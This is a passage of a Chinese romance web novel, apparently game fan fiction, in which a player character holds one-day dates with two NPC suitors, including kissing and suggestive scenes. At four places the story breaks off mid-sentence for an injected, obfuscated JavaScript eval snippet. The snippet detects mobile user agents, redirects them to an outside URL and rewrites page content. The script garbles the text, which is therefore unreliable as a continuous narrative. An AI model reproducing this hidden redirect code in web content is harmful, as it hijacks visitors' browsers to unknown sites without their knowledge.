【实名上网:明天神策府食堂有红烧肉,别错过了。】 鹤鸢回复:拿饭盒给我装点[可怜][可怜][可怜] 【枫:我也会做,晚上尝尝我的手艺。】 鹤鸢回复:好——[比心][比心][比心] 对哦,等到下午,约定一天的恋人约会就结束了。 接下来肯定还要和应星哥发展的。 但是—— 鹤鸢是个有点记仇的人。 读档前应星拒绝他、还连夜跑回朱明的行为……一直让他耿耿于怀。 怎么也要冷落一下下才行。 所以和丹枫的约会可以进行! 才不是为了[建木]和稀奇古怪的问题。 也不是因为丹枫的龙角和那张脸。 游戏NPC都太好看了,玩家花心也是很正常的吧! 而且他都在爱啊! 陪一个人是陪,陪两个三个四个也是陪! 鹤鸢说服了自己。 不一会儿,应星将做好的菜一个个端上来,打算解下身上的围裙。 鹤鸢拉住了他的手,眼睛亮闪闪地盯着他看。 “应星哥可以这样子亲我一下吗?” 是穿着围裙的应星哥! 相当于盲盒中的隐藏款! 不知道是什么感觉。 应星捏了捏围裙的衣摆,清咳一声,双手将鹤鸢抱起放在桌上。 鹤鸢的手很快缠上,期盼地看着他。 他扣住鹤鸢的后脑勺,双唇张开,含.住柔软馥郁的唇肉,用舌尖、牙齿去按压研磨, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148773|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 将这里吃成水淋淋的一片。 鹤鸢抓着他的领口,张唇探出舌肉,去触碰应星的舌尖。 “进、进来……应星哥……”青年含混不清地说。 随后,他的舌肉被牙齿叼住。 应星再无顾忌,狂风暴雨般的浪潮拍打海岸。 不知何时,鹤鸢的双腿缠上了应星的腰。 他愈发凑近的身体、愈发热情的拥抱与回应都是催化剂,烧的额间沁出汗珠,颈窝溢出汗津津的香味。 疾风暴雨般的浪潮过后,是亲昵黏糊的耳鬓厮磨。 应星身上的围裙被鹤鸢抓成皱巴巴的样子。 像是惩罚一般,他埋首于青年白腻的颈窝,温柔、但又带着浓重爱意的痕迹被印下。 “喜欢……” 鹤鸢无意识地低语。 他喜欢这种感觉。 暖烘烘的、像是被太阳照到的感觉。 应星的动作一顿,怜爱地亲了亲他的唇。 “先吃饭吧。” 手掌覆上单薄的肚皮,“我听到这里在叫呢。” 鹤鸢低头。 宽大的手掌上有斑驳厚重的茧,正透过薄薄的衣料触碰他的小腹,像是下一刻就会刺穿一样。 他耍赖一般靠上应星的肩膀,笑着说:“我要应星哥抱我去。” 情侣就是要黏黏糊糊的! 应星失笑,双臂收紧抱住青年,将他放在椅子上。 一顿过分亲密的午餐过后,两个人又坐在沙发上。 确切的说,是应星坐在沙发上,鹤鸢坐在应星腿上,面对面的倚靠在应星身上。 “这也是上网学的?”应星的手搁在鹤鸢腰上,手指无意识地碾压腰侧的软肉,带起一阵战栗。 鹤鸢闭着眼睛点头,一副消耗了很多体力、昏昏沉沉的模样。 应星不闹他,暖和的手掌轻抚鹤鸢脊背,随着他的呼吸渐缓,也慢慢停下。 于应星而言,这是难得的、静谧舒缓的午后。 他揽住鹤鸢不让青年乱动,也跟着睡了过去。 屏幕中传来的细碎音响、耳畔可爱的呼吸声、双手双脚缠着他的心上人……今日的一切,组成了应星人生中最美好的回忆。 他一向浅眠,也习惯了少量的休息时间,约莫二十来分钟就醒来,将鹤鸢抱到楼上的房间安置。 鹤鸢也醒来了。 他拽着应星一起躺在床上,将自己的私密空间向对方敞开。 鹤鸢看了眼时间,手指在应星的白发中圈圈绕绕。 “应星哥,你还有半个小时。” ……什么半个小时? 应星立刻意识到,这是鹤鸢原本制定的“一日约会”的时间。 他凑近了一点,“是要和我说结束了?” 鹤鸢轻哼一声,“当然,我说话算话。” 他顿了顿,又说:“【永远】也算哦。” 应星的心情如过山车般急转直下,又忽然升入云霄。 “那为什么要结束?” 鹤鸢理直气壮:“因为应星哥一直在推拒我,我很生气,所以我也要推拒回去!” “我很记仇的!” 应星噗嗤一笑,揉乱了鹤鸢的头发,将他抱在怀中,像抚猫一样安抚。 “好,那你可要好好推拒我。” 鹤鸢满意点头,挪动到应星身边,“但你不能拒绝我!” “那个…能再亲一次吗?” 小小的声音自应星耳边响起。 15.共通线(15) 【丹枫:我来接你。】 和应星黏糊糊的亲完、送走人后,丹枫的消息就发来了。 他大概是三个人当中最不遮掩自己心思的人,但又很有分寸,每回都能让鹤鸢高兴。 鹤鸢回复:现在可以来。 不过,和丹枫哥约会的内容完全没头绪呢。 毕竟在一开始的计划中,也只有应星哥一个。 鹤鸢心虚地又发了一条消息。 【鹤鸢:但我不知道做什么TvT】 【丹枫:交给我就好。】 好、好强的行动力。 既然丹枫都这么说了,那鹤鸢也心安理得地在家里等人上门。 在沙发上坐了五分钟后,他焦虑地起身,钻进厨房。 可恶!根本没办法心安理得啊! 搜刮掉冰箱里剩余的材料后,鹤鸢烤了份蛋挞出来。 打好的奶油挤上一圈,又用剩余的水果点缀上去,做成看起来像是能标价二十元一个的样子。 虽然丹枫哥的顺序在后面、暂时还没考虑到他,但是—— 好歹也是“一日约会”。 哪有人约会什么都不准备的? 就算不准备,那也得有点心意吧。 应星哥昨天算是被他赶鸭子上架,没准备情有可原,但他今天早上来接自己的时候送花了,还做了一顿午饭,顺手帮他打扫了一下家里。 ……还帮他充了一大笔水电费,顺便买了接下来半个月的饭菜量。 花了好多钱。 鹤鸢说不用。他包里还有好多练习[烹饪]时没吃完的食物,不愁没饭吃。 但应星哥坚持要买,还说过几天要给他一个大惊喜。 感觉自己在应星哥眼中的形象变得奇怪了。 鹤鸢叹气,将蛋挞装进盒子,挑两个塞进冰箱,拍照发给景元。 【鹤鸢:做了蛋挞,就当是接下来蹭吃蹭喝的谢礼~】 景元暂时没回复,估计又被拉去训练或者处理事情了。 没事,放在老位置,景元是知道的。 玉兆跳出丹枫发来的讯息,鹤鸢提起盒子,走到龙尊面前。 他举起自己做的蛋挞,递给丹枫,“丹枫哥,时间比较匆忙,先做了这一点。” 丹枫哥也不爱太甜的,特地减了糖分。 鹤鸢想起这几个人的吃饭习惯,脑袋一阵疼。 “看起来就很好吃,”丹枫接过,又补了一句,“我很喜欢。” 【别跟个据嘴葫芦似的!鸢鸢都亲手给你做甜点了,也不知道多说点!】 ‘闭嘴。’ 丹枫面色如常,牵着鹤鸢坐进星槎。 “陪我在鳞渊境呆一天,可以么?” 虽是问句,可他的手已经扣住青年手腕,语气中也带着不容置疑。 “不会无聊的。” 鹤鸢还未说些什么,丹枫又做出了保证。 “这是我答应丹枫哥的约会,想去哪里、想做什么都可以。”鹤鸢说。 事实上,只要看着丹枫这张脸,去哪里都行。而且丹枫的信誉一直很好,以前和丹枫哥出去,就没有无聊过。 【鸢鸢喜欢……】 ‘我说了闭嘴。’ 丹枫眉角轻皱,语气压低,“龙师都被我支开了,你想去禁地看看么?” 鹤鸢张了张嘴,凑近了些,“会给丹枫哥惹麻烦吗?” 说出来又有些心虚。他好像给丹枫惹的麻烦还不少。 小到在鳞渊境钓鱼,大到殴打龙师……全是丹枫哥帮他处理的后续。 “麻烦…?哼,不足为惧。” 丹枫一脸冷淡地说出超级自信的话。 ——形容词来自鹤鸢。 “我也会帮丹枫哥的,”鹤鸢回握他的手,“这次又是哪几个作妖了,要不要我去打一顿?” 丹枫有时候碍于身份不能打,鹤鸢就没这个烦恼了。 刚和丹枫认识的时候,他在罗浮算是未成年,又有当了云骑军的景元罩着,揍完龙师去地衡司接受一下思想教育就能回家。 现在他的后台更大,根本没在怕的。 两个人的脸贴在一起说悄悄话,颇有恋爱的味道。 如果不是在密谋怎么打人就好了。 【丹枫你倒是、你倒是说点情话啊!】 ‘说情话做什么?没看见他没和我发展的意思吗?’ 昨日回去后,丹枫总觉得事情有点不对。 今日看到鹤鸢的朋友圈后,心中的猜测总算落地。 昨日的一切就是鹤鸢为了应星这盘醋包的饺子,而这一天是他靠着卑劣手段争来的。 丹枫垂下眼,看着两人交握的手。 无妨,长生种的优势在于时间。 人死如灯灭,总会轮到他的。 【你个哔哔——】 【这种事是要争取的!不争不抢你谈个哔——】 ‘争取?那也得有机会吧。’ 丹枫一晒。 鹤鸢眼看着铁了心要和应星在一起,不容许旁人插足。 他现在去争取,只会平白生厌。 【你们怎么越活越封建了?我那会儿都是轮流侍奉的,谁做的好就给谁多分配点,或者鸢鸢喜欢谁,也可以指定。】 ‘……’ ‘你接着闭嘴。’ “丹枫哥?”鹤鸢担忧地看过来。 他觉得丹枫哥的心情好像不大好,像是和人吵架吵输了一样。 “是那些龙师……”又为难你了? 不对,龙师怎么能奈何的了丹枫哥,肯定是做了什么不好的事情,惹丹枫哥生气了。 丹枫放缓呼吸,“无事。” 鹤鸢感觉丹枫不像是“无事”的样子,但找不到根源,只好先把疑问压下。 一会儿再观察看看吧。 星槎一路飞到丹鼎司附近,再穿过波月古海,来到鳞渊境。 鹤鸢拉上竹帘,望向窗外。 不管是第几次来,他都会为这片海域的壮阔而发出惊叹。 “丹枫哥,你能带我下去看看吗?”鹤鸢期盼地看着龙尊。 丹枫有些受不了他那明亮如星的眼眸,略微转移视线,“今晚有祭祀,结束了带你下去。” “祭祀?”鹤鸢印象中的祭祀都是新年时的那一系列传统活动。 不过那是仙舟人的,想来持明族有独属于自己的祭祀活动。 “我可以去看看吗?”鹤鸢又问。 问出后觉得不妥,于是鹤鸢又说:“或者你告诉我在哪里举行,有什么忌讳,我偷偷过去看,把锅扔给龙师。” 他真是个善解人意的玩家! 丹枫勾起唇角,摇头,“你是我的客人,自然能来。” 没人能违抗他的决定。 【不是说不争取么?怎么计划开屏了?】 ‘只是恰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151239|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好安排在今日罢了。’ 【恰好?反正我不信。】 ‘……’ 鹤鸢还没见过持明族的【祭祀】,搜了论坛,也没人攻略到龙尊、到能围观祭祀的程度。 也就是说…他是第一个看到的? 好酷!他超厉害!!! 这游戏NPC的随机性很大,每个人碰到的都不一样,但颜值都有保障。 不过龙尊都很难攻略,鹤鸢这里的也不例外。 丹枫很奇怪,他有两个好感度,表现出来就是这样—— [丹枫对你的好感度:-100(999+)] 鹤鸢还没见过开局好感负数的NPC,也没见过[999+]的好感度。 就冲他的外貌,一般都是[30]起步,负数还是第一次见。 总之—— 龙尊,你成功引起了我的注意力。 但当时的鹤鸢以刷属性为主,于是在探索完鳞渊境能进入的地图后,就潇洒离去,再也没进来过。 等他要去刷丹枫好感时,却发现好感变成了—— [丹枫对你的好感度:100(999+)] 嗯?他做了什么吗? 鹤鸢思索自己做了什么事。 好像是为了成就点数,去鳞渊境连续钓鱼1000天,又去打了几个看起来就像烂橘子的龙师,送他们去蜕生……之类的事。 最过分的,也就是跟着几个鬼鬼祟祟的龙师偷了点[建木]升级技能,然后甩锅而已。 那次之后就没有进禁地的机会了。 丹枫是怎么加上好感的……? 鹤鸢点开他的履历。 [■■■岁:偶遇来鳞渊境探索的鹤鸢,对其心生喜爱。] 那为什么好感是负的? [■■■岁:得知鹤鸢是■■,心中郁闷。] ■■到底是什么啊!鹤鸢点点点,光屏加载一会儿,跳出一句: 可恶,你知道的太多了! 鹤鸢:…… 鹤鸢:我还什么都不知道呢! 他火速调出问卷投诉。 后来收到回复:【遮挡信息涉及玩家之后的选择,选择完成后可开放。】 [■■■岁:再次见到鹤鸢,被他无视,对他的喜爱增加了。] 鹤鸢:??? 离谱! 后面一连串全是这个,间杂着[看到龙师倒霉,对鹤鸢的喜爱增加了。]、[建木的问题被曝光,发落几个龙师,对鹤鸢的喜爱增加了。]之类的文字。 鹤鸢恍惚。 [■■■岁:鹤鸢不来鳞渊境的第十天,有点想他。] 总、总之,丹枫算是攻略成功了? 鹤鸢想不明白,但鹤鸢欣然接受。 毕竟在这个游戏世界里,玩家就是很容易被人喜爱啊。 就算拒绝玩家的爱,那也只是因为自己自卑。 不过他选择原谅应星哥。 都是他喜欢的角色,宽容度总是会高点的。 鹤鸢重重点头,“丹枫哥,那你快跟我说说有什么要注意的!” 他一边听一边调试系统相机,争取全方位无死角的录下来收藏! 丹枫哥人长得好看,一定是绝佳的美景! “不用管这些,只需要安静地看。” 祭祀之事,只需要龙尊一人,不会有龙师在场。 鹤鸢是唯一的观众。 16.共通线(16) 祭祀之前的时间还有很长,丹枫说先把他的委托做了。 “约会做委托?不合适不合适。”鹤鸢摇头否定。 丹枫看他一眼,平静道:“你三年没来鳞渊境一次,这次不做,我要等到什么时候。” 鹤鸢:“……” 鹤鸢:心虚.jpg 玩家探索完地图就不来…是很正常的事情啊! “那我多陪你一会儿吧。” 丹枫一个人呆在这么大的鳞渊境,怪可怜的,还是陪陪他吧。 反正玩家在哪里都能刷属性。 【不是不争不抢吗,怎么还卖惨了?】 ‘看不明白可以闭嘴。’ 丹枫达成了目的,眉眼间肉眼可见的轻松。 他轻轻拉起鹤鸢的手,见青年没拒绝,稍稍放肆的探入指缝。 “走吧,带你去个地方。” 鹤鸢被他牵着,突然说:“今天是我们的约会,丹枫哥可以再放肆一点。” 青年的手指微动,挠挠丹枫的掌心。 他对景元、应星和丹枫三个人的情感都是一致的、只有一点细微的差别,应星哥可以做的事情,丹枫哥也可以做。 但仅限这24小时。 鹤鸢会陪着应星走到生命尽头。他不会违背自己许下的承诺。 就像今日,既然是丹枫哥的“一日恋人”,那恋人之间的事情,丹枫哥也可以做。 鹤鸢理所当然地想着,朝着丹枫贴近。 十指交缠,是从未有过的亲密。 鹤鸢是个很较真的人。 丹枫早已见识过,应了鹤鸢的要求,给予回应。 “那今晚可以留下来么?”丹枫问,“鳞渊境的床是白玉做的,要不要试试?” 不仅仅是床,浴池也是。鹤鸢应该愿意体验一下。 白玉做的床? 鹤鸢被勾起好奇心,“是一整块白玉吗?” 丹枫:“是整块的,晚上要不要一起看看?” 他倏然一笑,“不是的话,我就把它送给你。” 龙尊是姿态非凡的人物,长得那叫一个顶端。如今笑起来,竟是让鹤鸢愣了一两秒。 不怪那么多论坛玩家死也要舔龙尊,那是真的好看啊! 特别还有人外的元素在,更喜欢了! 鹤鸢直勾勾地看着丹枫,也露出一个笑。 “不是完整的白玉床我不要,丹枫哥怎么舍得给我用残次品?” 有点胡搅蛮缠,丹枫选择全盘接受。 “那我将完整的送给你?” 鹤鸢瞪了他一眼,“送我了你睡哪?” 就是开开玩笑而已,怎么还真要送啊! 丹枫笑而不语。 【你…是我见过的手段最高的那一个。】 ‘你也没见过几个。’ 路过的持明侍从看着自家龙尊笑得如此荡漾,纷纷怀疑自己的眼睛。 这是饮月君……? 一定不是吧。 他们龙尊都是清冷自持,人送外号“冷面阎王”,怎么可能笑成这样! 但那双峥嵘的龙角和身上的华袍…都让人不得不相信—— 这就是饮月君。 饮月君还说要把那张传了几十个龙尊的白玉床送出去。 ……一定是在开玩笑对吧? 持明侍从看着饮月君和一个特别漂亮的仙舟人挤着走路,一路挤着进了宝库。 那里放着历代龙尊积存下来的财富。 门扉掩上,隔绝众多视线。 鹤鸢进入的第一眼,就差点被一大堆东西闪瞎眼。 成堆成堆的黄金摆在房中,可以供人在上面躺着滚上十来圈;各色珍珠装在匣中,饱满的几乎满溢出来,毫无章法的搁在架子上;宝石没什么规则地随意装起,连盖子都不盖上,任由其的光辉洒满室内…… 更别提还有一看就很贵的布料、一堆一看工艺就很贵的饰品、以及各类大块的玉石…… 几乎是把“有钱”写满了房间。 鹤鸢立刻转头看丹枫,用无比真挚地语气说: “丹枫,饿饿,饭饭。” 丹枫忍俊不禁:“只要我嫁给你,这些就都是你的。” 是的,丹枫用了嫁。 【你小子很有觉悟!】 ‘觉悟?我只是觉得嫁过去,不仅能和喜欢的人在一起,还能气死那些龙师,顺便让下一任龙尊的自由不被束缚。’ ‘好处太多了,没法拒绝。’ 【没必要给自己找这么多理由,我也是过来人,懂你的心情。】 恨嫁嘛! 当年他们一堆人,谁不恨嫁? 可惜鸢鸢只跟■个人结婚,后头的都只恋爱了。 ‘……’ ‘别来打扰我。’ 【好的好的,你得争气啊!】 【上一次眼见着有希望的,还是好久好久以前了。】 【可惜最后也没成,唉……】 丹枫说完刚刚那句话后,宝库里突然安静了一会儿。 鹤鸢已经被他的语出惊人给吓到了。 这不对吧! 也没说龙尊是恋爱脑啊! 怎、怎么就要嫁过来了? 不是鹤鸢自轻。 而是他现在属实是一穷二白,娶了丹枫也养不起这样一条金贵的龙。 虽然丹枫自带豪华嫁妆,不用他养,但是他始终觉得,在没有能力养一条龙时,还是先积蓄力量比较好。 总不能让丹枫跟着自己过苦日子吧! ……好想就此走上人生巅峰。 鹤鸢啊鹤鸢,你不能这么堕.落! 你知道这意味着什么吗? 这意味着—— 你要吃上软饭啦! 你的[意志]要扣光光啦! 不,这种事绝对不行! 鹤鸢坚定地说:“不行。” 【天哪!你拒绝了饮月君丹枫发出的结婚请求及财产的自愿赠予!】 【你的[意志]得到许多人的赞扬,获得大幅度的提升!】 鹤鸢:“……” 不要这样提醒我损失了一大笔钱啊! “我现在出不起聘礼。”他看起来很认真的回拒。 丹枫掩唇失笑,“那我可就等你攒够聘礼来娶我了。” 鹤鸢应下:“你放心,我不会给你画大饼的。” 等他在工造司赚够钱、陪完应星哥就来。 丹枫指着房间里的东西,“委托就是帮我清点一下这里的数量。前几任龙尊不理世事,成日只知道风花雪月,里头的宝物不知道被亏空了多少,我总得让他们吐出来。” 鹤鸢一听这钱极有可能被龙师挪用了,立刻充满干劲。 “交给我吧,丹枫哥!” 青年像只仓鼠一样严谨地清点这里的财报,面容严肃,仿佛在干什么惊天动地的大事情。 丹枫柔和声线:“我去给你端点吃的,慢慢来,不着急。” 鹤鸢忙得随口应了句。 【咦——你怎么这么夹。】 ‘那要凶他吗?’ 【伶牙俐齿,说不过你。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15155168|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 】 丹枫面色不变,去厨房做了份海鲜羹端来。 龙尊甫一出生,就要学习各种课程。有诗文武艺、也有庖厨之道。 起先丹枫不解,后来大梦一场,才明白这些课程的意义。 前几任龙尊空有天资,却被梦境迷了心智,成日只想着做梦、与梦中人相会,醒来也只顾着写诗文留念,全然不顾持明族的发展,几近被龙师架空。 丹枫想起往事,面色稍重,见到鹤鸢时,又如云开雨霁,和风细雨。 “阿鸢,尝尝我的手艺。” 宝库内的黄金已经被整整齐齐的摞好,几乎铺满墙壁,看起来极为壮观。 鹤鸢眼馋,但非常有底线的没偷拿。 呜呜…刚刚存档试着偷拿了一小块,[道德]快要被扣光光了。 丹枫看他这副努力抗拒诱惑的样子,莞尔道:“你清点出多少亏空,那些亏空的数额我分你百分之十。” “委托费另说。” 鹤鸢的心里已经在尖叫了。 啊啊啊啊丹枫是什么人美心善的好龙! 差点就动了先和丹枫在一起的心思。 他立刻端过海鲜粥,用自己最快的速度吃完并临场发挥了一段赞扬的话,接着埋进珍珠里整理了。 丹枫在门扉处伫立,就这样看着鹤鸢的背影。 ‘他是不一样的。’ 【都是一个人,只不过是不同阶段而已。人总是会变的,但我们很幸运,都遇见了自己最喜欢的那一面。】 ‘……’ 丹枫还是无法将鹤鸢与梦境中的青年联系在一起。 即便他们都长着同一张脸,最深处的性格、最可爱的一面都如出一辙。 【人类总是希望爱人独属于自己一人,我理解你的想法。】 【但他不可能。】 【因为——】 因为玩家的心是榴莲做哒! 鹤鸢哼着歌,将剩下的宝物整理完。 他早早计划好了。 先陪应星哥走完一生,休息一两年意思一下,然后去和丹枫在一起。 丹枫年龄比景元大很多,估计要先走,等他走了,鹤鸢就去找景元! 银河外的人物鹤鸢也不会放弃探索。 总之,要谈个够本! 不过一些存档要留一下,方便他以后想念了,随时可以见到人。 完美! 不愧是玩家! 大约花了一个小时左右,鹤鸢整理完这些,将清单交给丹枫。 丹枫扫了一眼就收起来,从架子上拿来一盒珍珠。 “拿着玩吧。” 嗯?欸! 鹤鸢缓缓打开手上的盒子,粒粒圆润饱满的珍珠映入眼帘。 【一盒?!你就送一盒???】 【这玩意我们以前都是一车一车送的,拿来当弹珠玩的!】 【就算要送,也得是做成珍珠衫或者珍珠冠才对!】 “丹枫哥,我暂时用不到。”鹤鸢坦荡地放回去。 送的礼物肯定不能拿去换钱,只能在背包里挤占空间,他目前最缺的是钱,不如多给他一点委托费。 “这不是报酬,只是一点送给恋人的心意。”丹枫说,“你要是喜欢,我卧室里还有很多,要不要玩一下?” 玩一下不会影响属性,还能体验一下纸醉金迷的生活。 鹤鸢可耻的心动了。 他现实里不缺钱,算是小康往上的水平,还没壕到能拿珍珠当弹珠玩的地步。 “好!” 他要玩! 17.共通线(17) 吃晚饭的时候,鹤鸢有一种丹枫在不断给自己下钩子的感觉。 先是百年一次的祭祀、再是卧室的白玉床和豪华浴池、又是可以当弹珠玩的珍珠…… 熟悉的感觉又来了。 以前就是这样,明明是在给自己下钩子,但自己却玩得超级开心! 那就原谅他吧。 如果是为了他这么做的话…有点心机又何妨? 而且丹枫给他做的【豪华海鲜大餐】竟然加属性…… 鹤鸢吃的要流眼泪了。 他到底错过了多少!!! 仙舟人身强体壮,这要是放在现实世界,还得被叫做【痛风套餐】,但游戏里的鹤鸢能一通狂吃。 鹤鸢吃了个饱,靠在椅背上,双手交叉在小腹。 又好吃又加属性…丹枫简直是战斗党玩家最爱的那一类伴侣了。 “丹枫,我以后可以带着我做的菜来和你交换吗?” 鹤鸢一脸祈求地看过来,满脸期盼。 【答应他!答应他!】 “当然可以。”丹枫的回答不像他下钩子一样弯弯绕绕,“你想来的时候,给我发个消息就好。” 正常人——就连龙师见龙尊都需要预约,但这条规则对鹤鸢无用。 说到底,丹枫是规则的制定者。规则是他的权力,而不是束缚他的枷锁。 鹤鸢眉开眼笑,“我会努力做符合丹枫哥口味的菜的。” 【……你运气真好。】 他们见到的鸢鸢压根不会给他们做吃的。 并不是说鸢鸢不爱他们。他们有很多很多,但鸢鸢只有一个,鸢鸢不可能给他们每个人都做,那太累了。 光是陪着他们,满足他们偶尔无礼的要求就很累了。 能陪伴已经很好了。 ‘我也觉得我运气好,多谢。’ 丹枫温柔地注视对面的青年,柔和的面容愈发光彩照人。 “还走得动么?”他问。 吃撑的鹤鸢:“……” “当然可以!” 区区一个DEBUFF,玩家还受的住。 鹤鸢站起身,迅速走到丹枫身边,环住了他的手臂,悄悄把部分重量压上去。 丹枫整个人看起来似春风拂面,和往日那副“高岭之花”的派头完全不一样。 耳上的红色耳坠晃啊晃,被好奇的鹤鸢抓住。 明明是这么素雅、这么严实的衣服,丹枫却戴了个红色耳坠。 一下子吸引了鹤鸢的注意。 “丹枫哥,衣服是你自己配的吗?配饰也是?”鹤鸢好奇地问。 丹枫的耳垂传来轻微的拉扯感,垂眸看向青年,轻轻“嗯”了一声。 “都是我自己搭的。” 如果连衣服的自主权都没有,那他这个龙尊赶紧去蜕生吧。 好像发现了很不得了的事情……鹤鸢沉思。 所以丹枫哥是闷.骚吗? 看起来有点像。 “阿鸢,我先去换身衣服,你在这里等我。” 丹枫挥手,留下两个守卫在海边守着。 要专门换衣服的祭祀,那得多重要? 鹤鸢感觉自己赚大了。 他无比期盼接下来的祭祀,连平时最爱看的波月古海也没看几眼,鱼竿都没拿出来。 丹枫下的钩子简直勾得人心痒难耐。 至于留下来的两个护卫,被鹤鸢理所当然的忽视了。 自然也没发现这两人欲言又止的眼神,看他像在看一个“祸国妖妃”一样。 就算发现了,玩家也只会理直气壮:“祸国妖妃怎么了?祸国妖妃的脸都长得好看!” 鹤鸢的全部视线都被盛装前来的丹枫吸引。 与平日繁复的长袍不同,祭祀需要龙尊舞动四肢,自然不能过于繁重,便在轻便的前提下尽可能显得华贵。 丹枫这一身开窗、露后腰、露胳膊,又有广袖宽摆,完全将人的视线牢牢抓住。 鹤鸢心想,难怪大家都看不到。 要是遇上个不怎么矜持的玩家,这不得直接把人在祭坛上扑到了? 那这祭祀就直接泡汤。 他没扑到,只是默默开启了录像模式,眼睛一眨不眨地顶着丹枫看。 如果——鹤鸢是说如果,他和丹枫在一起的话,很有可能会要求丹枫穿着这一身亲他。 这也是隐藏款啊!!! 坐星槎去祈龙坛——也就是祭祀场所时,鹤鸢的眼睛就没从丹枫身上下来过。 他操控着相机,从各个角度都给丹枫来了一张。 简直是白月光级别的外貌…… 而且丹枫好像也知道自己这副样子很吸引人,眼睛像钩子一样看着他,看的他心率都要加快了。 “阿鸢很喜欢这一身么?” 鹤鸢不假思索:“喜欢。” 丹枫伸出手,“那等祭祀结束,想要我做什么都可以。” 鹤鸢呼吸一滞。 他说错了,这分明是魅魔啊! 完全没办法抵抗。 鹤鸢扭扭捏捏:“可以穿着亲我吗?” 丹枫明显愣了一下,脱口而出:“你和应星亲了?” 鹤鸢坦荡地点头,“一日恋人的话,亲吻当然是可以的。” 亲了就亲了,又不是什么需要遮遮掩掩的事情。 丹枫发出一声不满的轻哼,“恋人之间能做的事情多了去了。” 既然是应星先毁约,那他也不客气了。 青绿色的眼眸中多了些暗色,“除了亲吻,还想体验一下其它的么?” 理论知识满分、实践经验为零的鹤鸢狠狠心动。 真的不怪他意志力差,是龙尊真的太会了。 鹤鸢得寸进尺:“那、那我可以看到龙尾吗?” 摸龙角感觉有些冒犯,那就看看龙尾吧! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15158533|164736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丹枫颔首,“可以。” 【这事我擅长!晚上听我的,绝对能让鸢鸢爽得流水。】 ‘……’ 【别这么保守。我们持明的繁殖欲.望很强,这不是什么难以启齿的事情。】 ‘嗯,所以你一个月轮到几次?’ 【……鸢鸢又不是重欲的人!】 ‘但他想和我亲吻。’ 【你运气真好。】 鹤鸢觉得自己运气真好。 去祈龙坛的路上,他的心情都是欢欣雀跃的,给丹枫拍了不少好看的照片,全都收藏起来。 最后还能坐在丹枫旁边,近距离看到那张俊脸,观察对方绯.红的眼尾。 ……像是胭脂涂上去的一样。 他这样专注的视线与表情落在丹枫眼中,也让人有相似的心情。 颜色姝丽的青年仰面看来,满心满眼都是自己,眼中星辰万千,自己却是其中唯一的月亮。 眼角下的泪痣仿佛有魔力一般,能将人的灵魂吸进去。 靠近坐着,一股馥郁的甜香萦绕在四周,晕染的人浑身发烫。 丹枫动了动手指,勾着青年的腰带,将甜香抱了个满怀。 鹤鸢感觉腰上一松,下意识向前,不小心扑到了丹枫怀中。 他挣.扎着起身,仔细竖好自己的腰带后,又看了眼被自己压到的衣料。 没被压皱就好。 “这件衣服还有很多套,不必担忧。” 鹤鸢鼓起脸,“但这是你一会儿要用的,现在不能出闪失!” 他想了想,又说:“我还是坐你对面吧。” 丹枫:“……” 【翻车了吧!哈哈哈哈哈哈!】 狭窄的星槎内,丹枫稍稍起身,靠近了些对面的青年。 “出了闪失也没关系,”他顿了顿,“在场的观众只有你一个,我们的神明…也早已陨落。” 祭祀重要的不是动作,也不是华服,而是他身上的力量。 鹤鸢似是羞涩般地扭过脸,“那、那也不能这样不敬!” 祭祀还是诚心点比较好。 而且鹤鸢要拍视频的,怎么可能丹枫身上有一点缺憾! 想到这,他又仔仔细细地检查了一遍,确定丹枫浑身上下都很完美后,才走出星槎,自觉地站在远处的边角。 丹枫却拉着他,走到祭坛正对面的位置。 跟着来的两个侍卫又露出奇怪的表情。 鹤鸢没注意,丹枫往那边一瞥,属于龙尊的威压便让他们低下头,不再表露任何情绪。 “好好看着我。” 清冷的龙尊一身华服,郑重地握着青年的手。 鹤鸢睁大眼睛,也认真地回应:“我会一直一直看着丹枫哥,把今天的一切永远记住。” 丹枫知道,鹤鸢说出口的承诺都会兑现。 他满意地转身,走到祭坛中.央。 18.共通线(18) 